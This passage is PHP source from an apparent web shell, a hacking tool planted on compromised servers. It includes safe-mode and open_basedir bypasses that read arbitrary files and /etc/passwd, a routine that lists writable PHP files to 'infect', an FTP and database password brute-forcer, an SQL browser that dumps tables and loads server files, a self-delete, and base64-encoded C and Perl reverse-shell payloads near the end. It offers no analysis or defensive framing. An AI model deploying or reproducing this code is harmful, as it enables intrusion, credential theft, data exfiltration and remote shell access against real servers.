                    for ($i = 0; $i < strLen($p); $i += 2) {
                        $r .= chr(hexdec($p[$i] . $p[$i + 1]));
                    }
                    return $r;
                }
            }
            if (!function_exists('ascii2hex')) {
                function ascii2hex($p)
                {
                    $r = '';
                    for ($i = 0; $i < strlen($p); ++$i) {
                        $r .= sprintf('%02X', ord($p[$i]));
                    }
                    return strtoupper($r);
                }
            }
            if (!function_exists('full_urlencode')) {
                function full_urlencode($p)
                {
                    $r = '';
                    for ($i = 0; $i < strlen($p); ++$i) {
                        $r .= '%' . dechex(ord($p[$i]));
                    }
                    return strtoupper($r);
                }
            }
            $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen');
            if (isset($_POST['ajax'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                ob_start();
                if (in_array($_POST['p1'], $stringTools)) {
                    echo $_POST['p1']($_POST['p2']);
                }
                $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\x00") . "';\n";
                echo strlen($temp), "\n", $temp;
                exit;
            }
            if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
            }
            hardHeader();
            echo "<h1>String conversions</h1><div class=content>";
            echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
            foreach ($stringTools as $k => $v) {
                echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
            }
            echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
            if (!empty($_POST['p1'])) {
                if (in_array($_POST['p1'], $stringTools)) {
                    echo htmlspecialchars($_POST['p1']($_POST['p2']));
                }
            }
            echo "</pre></div><br><h1>Search files:</h1><div class=content>\r\n        <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>\r\n            <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>\r\n            <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>\r\n            <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>\r\n            <tr><td></td><td><input type='submit' value='submit'></td></tr>\r\n            </table></form>";
            function hardRecursiveGlob($path)
            {
                if (substr($path, -1) != '/') {
                    $path .= '/';
                }
                $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
                if (is_array($paths) && @count($paths)) {
                    foreach ($paths as $▟) {
                        if (@is_dir($▟)) {
                            if ($path != $▟) {
                                hardRecursiveGlob($▟);
                            }
                        } else {
                            if (empty($_POST['p2']) || @strpos(file_get_contents($▟), $_POST['p2']) !== false) {
                                echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($▟) . "\", \"view\",\"\")'>" . htmlspecialchars($▟) . "</a><br>";
                            }
                        }
                    }
                }
            }
            if (@$_POST['p3']) {
                hardRecursiveGlob($_POST['c']);
            }
            echo "</div><br><h1>Search for hash:</h1><div class=content>\r\n        <form method='post' target='_blank' name='hf'>\r\n            <input type='text' name='hash' style='width:200px;'><br>\r\n            <input type='hidden' name='act' value='find'/>\r\n            <input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>\r\n            <input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>\r\n            <input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br>\r\n            <input type='submit' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>\r\n            <input type='submit' value='toolki.com' onclick=\"document.hf.action='http://toolki.com/';document.hf.submit()\"><br>\r\n            <input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='http://fopo.com.ar/';document.hf.submit()\"><br>\r\n            <input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>\r\n        </form></div>";
            hardFooter();
        }
        function actionSafeMode()
        {
            $temp = '';
            ob_start();
            switch ($_POST['p1']) {
                case 1:
                    $temp = @tempnam($test, 'cx');
                    if (@copy("compress.zlib://" . $_POST['p2'], $temp)) {
                        echo @file_get_contents($temp);
                        unlink($temp);
                    } else {
                        echo "Sorry... Can't open file";
                    }
                    break;
                case 2:
                    $files = glob($_POST['p2'] . '*');
                    if (is_array($files)) {
                        foreach ($files as $filename) {
                            echo $filename . "\n";
                        }
                    }
                    break;
                case 3:
                    $ch = curl_init("file://" . $_POST['p2'] . "\x00" . SELF_PATH);
                    curl_exec($ch);
                    break;
                case 4:
                    ini_restore("safe_mode");
                    ini_restore("open_basedir");
                    include $_POST['p2'];
                    break;
                case 5:
                    for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid) {
                            echo join(':', $uid) . "\n";
                        }
                    }
                    break;
                case 6:
                    if (!function_exists('imap_open')) {
                        break;
                    }
                    $stream = imap_open($_POST['p2'], "", "");
                    if ($stream == FALSE) {
                        break;
                    }
                    echo imap_body($stream, 1);
                    imap_close($stream);
                    break;
            }
            $temp = ob_get_clean();
            hardHeader();
            echo "<h1>Safe mode bypass</h1><div class=content>";
            echo "<span>Copy (read file)</span><form onsubmit='g(null,null,\"1\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Glob (list dir)</span><form onsubmit='g(null,null,\"2\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Curl (read file)</span><form onsubmit='g(null,null,\"3\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Ini_restore (read file)</span><form onsubmit='g(null,null,\"4\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Posix_getpwuid (\"Read\" /etc/passwd)</span><table><form onsubmit='g(null,null,\"5\",this.param1.value,this.param2.value);return false;'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=\"submit\"></form><br><br><span>Imap_open (read file)</span><form onsubmit='g(null,null,\"6\",this.param.value);return false;'><input type=text name=param><input type=submit value=\"submit\"></form>";
            if ($temp) {
                echo '<pre class="ml1" style="margin-top:5px" id="Output">' . $temp . '</pre>';
            }
            echo "</div>";
            hardFooter();
        }
        function actionLogout()
        {
            setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
            die('bye!');
        }
        function actionSelfRemove()
        {
            if ($_POST['p1'] == 'yes') {
                if (@unlink("/var/www/html/4.php.fdb78d6aee17ca60b02d140852f95d55.bin")) {
                    die('Shell has been removed');
                } else {
                    echo "unlink error!";
                }
            }
            if ($_POST['p1'] != 'yes') {
                hardHeader();
            }
            echo "<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,'yes')\">Yes</a></div>";
            hardFooter();
        }
        function actionInfect()
        {
            hardHeader();
            echo "<h1>Infect</h1><div class=content>";
            if ($_POST['p1'] == 'infect') {
                $target = $_SERVER['DOCUMENT_ROOT'];
                function ListFiles($dir)
                {
                    if ($dh = opendir($dir)) {
                        $files = array();
                        $inner_files = array();
                        while ($file = readdir($dh)) {
                            if ($file != "." && $file != "..") {
                                if (is_dir($dir . "/" . $file)) {
                                    $inner_files = ListFiles($dir . "/" . $file);
                                    if (is_array($inner_files)) {
                                        $files = array_merge($files, $inner_files);
                                    }
                                } else {
                                    array_push($files, $dir . "/" . $file);
                                }
                            }
                        }
                        closedir($dh);
                        return $files;
                    }
                }
                foreach (ListFiles($target) as $key => $file) {
                    $nFile = substr($file, -4, 4);
                    if ($nFile == ".php") {
                        if ($file != $_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF'] && is_writeable($file)) {
                            echo "{$file}<br>";
                            $i++;
                        }
                    }
                }
                echo "<font color=red size=14>{$i}</font>";
            } else {
                echo "<form method=post><input type=submit value=Infect name=infet></form>";
                echo "Really want to infect the server?&nbsp;<a href=# onclick=\"g(null,null,'infect')\">Yes</a></div>";
            }
            hardFooter();
        }
        function actionBruteforce()
        {
            hardHeader();
            if (isset($_POST['proto'])) {
                echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
                if ($_POST['proto'] == 'ftp') {
                    function bruteForce($ip, $port, $login, $pass)
                    {
                        $fp = @ftp_connect($ip, $port ? $port : 21);
                        if (!$fp) {
                            return false;
                        }
                        $res = @ftp_login($fp, $login, $pass);
                        @ftp_close($fp);
                        return $res;
                    }
                } elseif ($_POST['proto'] == 'mysql') {
                    function bruteForce($ip, $port, $login, $pass)
                    {
                        $res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
                        @mysql_close($res);
                        return $res;
                    }
                } elseif ($_POST['proto'] == 'pgsql') {
                    function bruteForce($ip, $port, $login, $pass)
                    {
                        $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
                        $res = @pg_connect($str);
                        @pg_close($res);
                        return $res;
                    }
                }
                $success = 0;
                $attempts = 0;
                $server = explode(":", $_POST['server']);
                if ($_POST['type'] == 1) {
                    $temp = @file('/etc/passwd');
                    if (is_array($temp)) {
                        foreach ($temp as $line) {
                            $line = explode(":", $line);
                            ++$attempts;
                            if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
                                $success++;
                                echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
                            }
                            if (@$_POST['reverse']) {
                                $tmp = "";
                                for ($i = strlen($line[0]) - 1; $i >= 0; --$i) {
                                    $tmp .= $line[0][$i];
                                }
                                ++$attempts;
                                if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
                                    $success++;
                                    echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
                                }
                            }
                        }
                    }
                } elseif ($_POST['type'] == 2) {
                    $temp = @file($_POST['dict']);
                    if (is_array($temp)) {
                        foreach ($temp as $line) {
                            $line = trim($line);
                            ++$attempts;
                            if (bruteForce($server[0], @$server[1], $_POST['login'], $line)) {
                                $success++;
                                echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
                            }
                        }
                    }
                }
                echo "<span>Attempts:</span> {$attempts} <span>Success:</span> {$success}</div><br>";
            }
            echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td><td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td><input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<input type=hidden name=ne  value="">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>' . '<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>' . '<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
            echo "</div>";
            hardFooter();
        }
        function actionSql()
        {
            class DbClass
            {
                var $type;
                var $link;
                var $res;
                function DbClass($type)
                {
                    $this->type = $type;
                }
                function connect($host, $user, $pass, $dbname)
                {
                    switch ($this->type) {
                        case 'mysql':
                            if ($this->link = @mysql_connect($host, $user, $pass, true)) {
                                return true;
                            }
                            break;
                        case 'pgsql':
                            $host = explode(':', $host);
                            if (!$host[1]) {
                                $host[1] = 5432;
                            }
                            if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}")) {
                                return true;
                            }
                            break;
                    }
                    return false;
                }
                function selectdb($db)
                {
                    switch ($this->type) {
                        case 'mysql':
                            if (@mysql_select_db($db)) {
                                return true;
                            }
                            break;
                    }
                    return false;
                }
                function query($str)
                {
                    switch ($this->type) {
                        case 'mysql':
                            return $this->res = @mysql_query($str);
                        case 'pgsql':
                            return $this->res = @pg_query($this->link, $str);
                    }
                    return false;
                }
                function fetch()
                {
                    $res = func_num_args() ? func_get_arg(0) : $this->res;
                    switch ($this->type) {
                        case 'mysql':
                            return @mysql_fetch_assoc($res);
                        case 'pgsql':
                            return @pg_fetch_assoc($res);
                    }
                    return false;
                }
                function listDbs()
                {
                    switch ($this->type) {
                        case 'mysql':
                            return $this->query("SHOW databases");
                        case 'pgsql':
                            return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
                    }
                    return false;
                }
                function listTables()
                {
                    switch ($this->type) {
                        case 'mysql':
                            return $this->res = $this->query('SHOW TABLES');
                        case 'pgsql':
                            return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
                    }
                    return false;
                }
                function error()
                {
                    switch ($this->type) {
                        case 'mysql':
                            return @mysql_error();
                        case 'pgsql':
                            return @pg_last_error();
                    }
                    return false;
                }
                function setCharset($str)
                {
                    switch ($this->type) {
                        case 'mysql':
                            if (function_exists('mysql_set_charset')) {
                                return @mysql_set_charset($str, $this->link);
                            } else {
                                $this->query('SET CHARSET ' . $str);
                            }
                            break;
                        case 'pgsql':
                            return @pg_set_client_encoding($this->link, $str);
                    }
                    return false;
                }
                function loadFile($str)
                {
                    switch ($this->type) {
                        case 'mysql':
                            return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
                        case 'pgsql':
                            $this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '" . addslashes($str) . "';select file from hard2;");
                            $r = array();
                            while ($i = $this->fetch()) {
                                $r[] = $i['file'];
                            }
                            $this->query('drop table hard2');
                            return array('file' => implode("\n", $r));
                    }
                    return false;
                }
                function dump($table, $fp = false)
                {
                    switch ($this->type) {
                        case 'mysql':
                            $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
                            $create = mysql_fetch_array($res);
                            $sql = $create[1] . ";\n";
                            if ($fp) {
                                fwrite($fp, $sql);
                            } else {
                                echo $sql;
                            }
                            $this->query('SELECT * FROM `' . $table . '`');
                            $i = 0;
                            $head = true;
                            while ($▟ = $this->fetch()) {
                                $sql = '';
                                if ($i % 1000 == 0) {
                                    $head = true;
                                    $sql = ";\n\n";
                                }
                                $columns = array();
                                foreach ($▟ as $k => $v) {
                                    if ($v === null) {
                                        $▟[$k] = "NULL";
                                    } elseif (is_int($v)) {
                                        $▟[$k] = $v;
                                    } else {
                                        $▟[$k] = "'" . @mysql_real_escape_string($v) . "'";
                                    }
                                    $columns[] = "`" . $k . "`";
                                }
                                if ($head) {
                                    $sql .= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $▟) . ')';
                                    $head = false;
                                } else {
                                    $sql .= "\n\t,(" . implode(", ", $▟) . ')';
                                }
                                if ($fp) {
                                    fwrite($fp, $sql);
                                } else {
                                    echo $sql;
                                }
                                $i++;
                            }
                            if (!$head) {
                                if ($fp) {
                                    fwrite($fp, ";\n\n");
                                } else {
                                    echo ";\n\n";
                                }
                            }
                            break;
                        case 'pgsql':
                            $this->query('SELECT * FROM ' . $table);
                            while ($▟ = $this->fetch()) {
                                $columns = array();
                                foreach ($▟ as $k => $v) {
                                    $▟[$k] = "'" . addslashes($v) . "'";
                                    $columns[] = $k;
                                }
                                $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $▟) . ');' . "\n";
                                if ($fp) {
                                    fwrite($fp, $sql);
                                } else {
                                    echo $sql;
                                }
                            }
                            break;
                    }
                    return false;
                }
            }
            $db = new DbClass($_POST['type']);
            if (@$_POST['p2'] == 'download' && @$_POST['p1'] != 'select') {
                $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
                $db->selectdb($_POST['sql_base']);
                switch ($_POST['charset']) {
                    case "Windows-1251":
                        $db->setCharset('cp1251');
                        break;
                    case "UTF-8":
                        $db->setCharset('utf8');
                        break;
                    case "KOI8-R":
                        $db->setCharset('koi8r');
                        break;
                    case "KOI8-U":
                        $db->setCharset('koi8u');
                        break;
                    case "cp866":
                        $db->setCharset('cp866');
                        break;
                }
                if (empty($_POST['file'])) {
                    ob_start("ob_gzhandler", 4096);
                    header("Content-Disposition: attachment; filename=dump.sql");
                    header("Content-Type: text/plain");
                    foreach ($_POST['tbl'] as $v) {
                        $db->dump($v);
                    }
                    exit;
                } elseif ($fp = @fopen($_POST['file'], 'w')) {
                    foreach ($_POST['tbl'] as $v) {
                        $db->dump($v, $fp);
                    }
                    fclose($fp);
                    unset($_POST['p2']);
                } else {
                    die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
                }
            }
            hardHeader();
            echo "\r\n<h1>Sql browser</h1><div class=content>\r\n<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>\r\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\r\n<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n<td><label><select name='type'><option value='mysql' ";
            if (@$_POST['type'] == 'mysql') {
                echo "selected";
            }
            echo ">MySql</option><option value='pgsql' ";
            if (@$_POST['type'] == 'pgsql') {
                echo "selected";
            }
            echo ">PostgreSql</option></select></label></td>\r\n<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>\r\n<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>\r\n<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\" required></td><td>";
            $tmp = "<input type=text name=sql_base value=''>";
            if (isset($_POST['sql_host'])) {
                if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
                    switch ($_POST['charset']) {
                        case "Windows-1251":
                            $db->setCharset('cp1251');
                            break;
                        case "UTF-8":
                            $db->setCharset('utf8');
                            break;
                        case "KOI8-R":
                            $db->setCharset('koi8r');
                            break;
                        case "KOI8-U":
                            $db->setCharset('koi8u');
                            break;
                        case "cp866":
                            $db->setCharset('cp866');
                            break;
                    }
                    $db->listDbs();
                    echo "<label><select name=sql_base><option value=''></option>";
                    while ($▟ = $db->fetch()) {
                        list($key, $value) = each($▟);
                        echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
                    }
                    echo "</select></label>";
                } else {
                    echo $tmp;
                }
            } else {
                echo $tmp;
            }
            echo "</td>\r\n                <td><input type=submit value='submit' onclick='fs(d.sf);'></td>\r\n                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>\r\n            </tr>\r\n        </table>\r\n        <script>\r\n            s_db='" . @addslashes($_POST['sql_base']) . "';\r\n            function fs(f) {\r\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\r\n                    if(f.p1) f.p1.value='';\r\n                    if(f.p2) f.p2.value='';\r\n                    if(f.p3) f.p3.value='';\r\n                }\r\n            }\r\n            function st(t,l) {\r\n                d.sf.p1.value = 'select';\r\n                d.sf.p2.value = t;\r\n                if(l && d.sf.p3) d.sf.p3.value = l;\r\n                d.sf.submit();\r\n            }\r\n            function is() {\r\n                for(i=0;i<d.sf.elements['tbl[]'].length;++i)\r\n                    d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;\r\n            }\r\n        </script>";
            if (isset($db) && $db->link) {
                echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
                if (!empty($_POST['sql_base'])) {
                    $db->selectdb($_POST['sql_base']);
                    echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
                    $tbls_res = $db->listTables();
                    while ($▟ = $db->fetch($tbls_res)) {
                        list($key, $value) = each($▟);
                        if (!empty($_POST['sql_count'])) {
                            $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
                        }
                        $value = htmlspecialchars($value);
                        echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br>";
                    }
                    echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
                    if (@$_POST['p1'] == 'select') {
                        $_POST['p1'] = 'query';
                        $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
                        $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
                        $num = $db->fetch();
                        $pages = ceil($num['n'] / 30);
                        echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . (int) $_POST['p3'] . ">";
                        echo " of {$pages}";
                        if ($_POST['p3'] > 1) {
                            echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>&lt; Prev</a>";
                        }
                        if ($_POST['p3'] < $pages) {
                            echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next &gt;</a>";
                        }
                        $_POST['p3']--;
                        if ($_POST['type'] == 'pgsql') {
                            $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . $_POST['p3'] * 30;
                        } else {
                            $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . $_POST['p3'] * 30 . ',30';
                        }
                        echo "<br><br>";
                    }
                    if (@$_POST['p1'] == 'query' && !empty($_POST['p2'])) {
                        $db->query(@$_POST['p2']);
                        if ($db->res !== false) {
                            $title = false;
                            echo "<table width=100% cellspacing=1 cellpadding=2 class=main>";
                            $line = 1;
                            while ($▟ = $db->fetch()) {
                                if (!$title) {
                                    echo "<tr>";
                                    foreach ($▟ as $key => $value) {
                                        echo '<th>' . $key . '</th>';
                                    }
                                    reset($▟);
                                    $title = true;
                                    echo "</tr><tr>";
                                    $line = 2;
                                }
                                echo '<tr class="l' . $line . '">';
                                $line = $line == 1 ? 2 : 1;
                                foreach ($▟ as $key => $value) {
                                    if ($value == null) {
                                        echo "<td><i>null</i></td>";
                                    } else {
                                        echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
                                    }
                                }
                                echo "</tr>";
                            }
                            echo "</table>";
                        } else {
                            echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
                        }
                    }
                    echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                    if (!empty($_POST['p2']) && $_POST['p1'] != 'loadfile') {
                        echo htmlspecialchars($_POST['p2']);
                    }
                    echo "</textarea><br/><input type=submit value='Execute'>";
                    echo "</td></tr>";
                }
                echo "</table></form><br/>";
                if ($_POST['type'] == 'mysql') {
                    $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                    if ($db->fetch()) {
                        echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
                    }
                }
                if (@$_POST['p1'] == 'loadfile') {
                    $file = $db->loadFile($_POST['p2']);
                    echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
                }
            } else {
                echo htmlspecialchars($db->error());
            }
            echo "</div>";
            hardFooter();
        }
        function actionNetwork()
        {
            hardHeader();
            $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
            $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
